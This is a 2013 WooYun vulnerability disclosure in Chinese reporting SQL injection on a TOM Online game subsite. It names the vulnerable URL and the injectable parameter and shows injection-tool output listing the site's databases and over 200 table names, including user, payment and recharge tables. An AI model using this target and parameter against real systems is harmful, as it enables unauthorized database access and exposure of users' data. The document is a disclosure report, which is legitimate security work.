当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-028329

漏洞标题:tom在线某分站sql注入漏洞

相关厂商:TOM在线

漏洞作者: feng

提交时间:2013-07-09 22:09

修复时间:2013-07-14 22:10

公开时间:2013-07-14 22:10

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-07-09: 细节已通知厂商并且等待厂商处理中
2013-07-14: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

tom在线某分站sql注入漏洞,大量数据泄露
发这个还有一个目的,就是兄弟,赶紧把我之前的那个tom在线webshell的洞给确认啊

详细说明:

漏洞页面http://pk.tom.com/web/download_page.jsp?from=00403&q_id=99&mobile_game_id=609&class=and q_id=99
影响参数 mobile_game_id

漏洞证明:

tom1.png


available databases [3]:
[*] information_schema
[*] newwapdb
[*] test
Database: newwapdb
[213 tables]
+--------------------------------------+
| back_download_game_info |
| download_count |
| filter_words |
| game_bulletin |
| game_clientinfo |
| game_cogameinfo |
| game_coinfo |
| game_goods |
| game_goods_type |
| game_mission |
| game_netbattle |
| game_netbattle_item |
| game_photo |
| game_single_record |
| game_stat_day |
| game_toolsinfo |
| game_uids |
| game_user |
| game_user_black |
| game_user_chat |
| game_user_friend |
| game_user_level |
| game_user_sign |
| game_user_sns |
| game_user_task |
| game_user_visitor |
| game_useraddressinfo |
| game_usergold |
| game_usergolddetail |
| game_usergoods |
| game_userinfo |
| game_usermdoupmsg |
| game_userpay_offerclient |
| game_userpayrecord |
| game_userprize |
| game_userrandom |
| game_userrandom_bak |
| game_userrandom_new |
| game_userrechargerecord |
| game_v2_netbattle |
| game_v2_netbattle_finalgoldinfo |
| game_v3_bulletin |
| game_v3_friends |
| game_v3_linkmobile |
| game_v3_netbattle |
| game_v3_netbattle_finalgoldinfo |
| game_v3_netbattle_item |
| game_v3_pksparameter |
| game_v3_prizes |
| game_v3_sendsmsinfo |
| game_v3_single_record |
| game_v3_usergold |
| game_v3_usergolddetail |
| game_v3_userinfo |
| game_v3_userprize |
| game_v4_adv_record |
| game_v4_bulletin |
| game_v4_bulletin_wap |
| game_v4_cmddisc_history |
| game_v4_coupon_history |
| game_v4_couponprize_info |
| game_v4_fgrechargeprize_history |
| game_v4_finalgold_rechargeinfo |
| game_v4_friends |
| game_v4_gamedown_config |
| game_v4_gametype_info |
| game_v4_linkmobile |
| game_v4_lucklydraw_history |
| game_v4_manualprize |
| game_v4_manualprize_info |
| game_v4_message |
| game_v4_message_bak20120420 |
| game_v4_message_bak20120501 |
| game_v4_message_bak20120604 |
| game_v4_message_location |
| game_v4_message_location_bak20120420 |
| game_v4_message_location_bak20120501 |
| game_v4_message_location_bak20120604 |
| game_v4_message_location_new |
| game_v4_message_new |
| game_v4_mobileuid_linkinfo |
| game_v4_msgpush_info |
| game_v4_msgpush_type |
| game_v4_netbattle |
| game_v4_netbattle_bak20120420 |
| game_v4_netbattle_finalgoldinfo |
| game_v4_netbattle_finalgoldinfo |
| game_v4_netbattle_item_bak20120420 |
| game_v4_onlinegame_info |
| game_v4_onlinegame_itempayment |
| game_v4_onlinegame_smscode |
| game_v4_payment_platform_detail |
| game_v4_pksparameter |
| game_v4_prizes |
| game_v4_robot_sendsmscount |
| game_v4_robotinfo |
| game_v4_sendsmsinfo |
| game_v4_single_record |
| game_v4_thirdpart_cardinfo |
| game_v4_thirdpart_partnerinfo |
| game_v4_thirdpart_partnerinfo |
| game_v4_topboard |
| game_v4_user_freegold |
| game_v4_user_freegold_monthly |
| game_v4_user_freegolddetail |
| game_v4_user_prizeinfo |
| game_v4_userbattle_summarizinfo |
| game_v4_usercoupon_info |
| game_v4_usergold |
| game_v4_usergolddetail |
| game_v4_userinfo |
| game_v4_userinfo_extend |
| game_v4_userlogin |
| game_v4_userprize |
| game_v4_userprizesend_info |
| game_v4_userscore_monthly |
| game_v4_userscore_total |
| game_v4_userscore_weekly |
| game_v4_usersdkvsn_history |
| game_v4_weeklyprize_info |
| game_web_task |
| guess_exchange |
| guess_guessing |
| guess_guessing_detail |
| guess_material |
| guess_user_account |
| guess_user_activity_201301 |
| guess_user_activity_201302 |
| guess_user_activity_201303 |
| guess_user_activity_201304 |
| guess_user_activity_201305 |
| guess_user_activity_201306 |
| guess_user_activity_201307 |
| guess_user_activity_config |
| guess_user_charge_detail |
| guess_user_consume_detail |
| guess_user_exchange |
| guess_user_exchange_manage |
| guess_user_guessing |
| guess_user_info |
| guess_user_material |
| guess_user_relation |
| in_email_game |
| mobile_info |
| party |
| party_blackword |
| party_blackword |
| party_flashgame |
| party_forum_content |
| party_naming_type |
| party_notice |
| party_sta |
| pkgame_channel |
| pkgame_hit |
| t_advertise_content |
| t_advertise_plan |
| t_advertise_qudao |
| t_advertise_size |
| t_advertise_source |
| t_advertisement |
| t_benefits |
| t_benefits_config |
| t_billcode_area |
| t_billcode_area |
| t_billcode_mdo |
| t_billcode_relation |
| t_billcode_successpay |
| t_condition |
| t_event |
| t_game_info |
| t_game_resources |
| t_game_type |
| t_gameresource_view |
| t_goals |
| t_levelconfig |
| t_lotto_coupon |
| t_lotto_gift |
| t_lotto_period |
| t_lotto_prize |
| t_lotto_result |
| t_lotto_result |
| t_part |
| t_part_qid |
| t_recommend_bannergame |
| t_recommend_game |
| t_tab_icon |
| t_tab_index |
| t_tab_location |
| t_tab_manage |
| t_tab_project |
| t_tab_qudao |
| t_tabindex_qudao |
| t_user_event |
| t_user_event_bak20120420 |
| t_user_goals |
| t_userlevel |
| tbl_tianyu_cdqx |
| tbl_tianyu_jscd |
| tbl_tianyu_menu |
| tbl_tianyu_popedom |
| tbl_tianyu_role |
| tbl_tianyu_spinfo |
| tbl_tianyu_spinfo |
| tom_pay_day_report |
| tom_pay_week_report |
| user_gamble |
| wap_busitbl |
| wap_templatefiletbl |
| web_advertisement |
| web_cp |
| web_game |
| web_notice |
| web_user_friend |
+--------------------------------------+

修复方案:

过滤

版权声明:转载请注明来源 feng@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2013-07-14 22:10

厂商回复:

最新状态:

暂无